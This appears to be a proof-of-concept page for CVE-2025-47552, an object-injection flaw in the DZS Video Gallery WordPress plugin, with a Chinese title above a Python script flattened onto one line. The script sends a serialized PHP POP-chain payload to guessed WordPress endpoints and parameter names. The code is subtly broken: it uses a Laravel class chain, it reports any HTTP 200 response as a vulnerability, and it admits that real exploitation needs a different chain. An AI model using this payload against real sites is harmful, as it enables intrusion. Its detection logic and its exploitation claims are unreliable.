CVE-2025-47552: DZS Video Gallery 反序列化漏洞导致远程代码执行

import requests import sys from urllib.parse import urlencode # CVE-2025-47552 PoC - DZS Video Gallery PHP Object Injection # This is for educational and security testing purposes only target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Malicious serialized payload targeting PHP object injection # Using a simple pop chain with built-in PHP classes payload = 'O:31:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:29:"Illuminate\\Bus\\Dispatcher":1:{s:16:"\x00*\x00pipes";a:0:{}}s:8:"\x00*\x00event";O:29:"Illuminate\\Foundation\\Console\Kernel":0:{}}' # Alternative payload using Phar deserialization phar_payload = 'php://filter/read=convert.base64-encode/resource=phar://malicious.phar' def check_vulnerability(url): """Check if target is vulnerable""" endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/dzs-videogallery/ajax.php', '/?wp-die=1' ] print(f'[*] Testing target: {url}') print(f'[*] CVE-2025-47552 - DZS Video Gallery Object Injection') for endpoint in endpoints: try: full_url = url.rstrip('/') + endpoint # Try different parameter names params_list = [ {'action': 'dzs_video_gallery_ajax', 'data': payload}, {'action': 'dzs_gallery', 'params': payload}, {'dzs_action': 'serialize', 'input': payload} ] for params in params_list: response = requests.post(full_url, data=params, timeout=10, verify=False) print(f'[+] Tested endpoint: {endpoint} with params: {list(params.keys())}') if response.status_code == 200: print(f'[+] Potential vulnerability detected at {endpoint}') return True except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') print('[-] Target may not be vulnerable or is not reachable') return False if __name__ == '__main__': check_vulnerability(target_url) # Note: Actual exploitation requires identifying specific vulnerable endpoint # and constructing appropriate pop chain based on available classes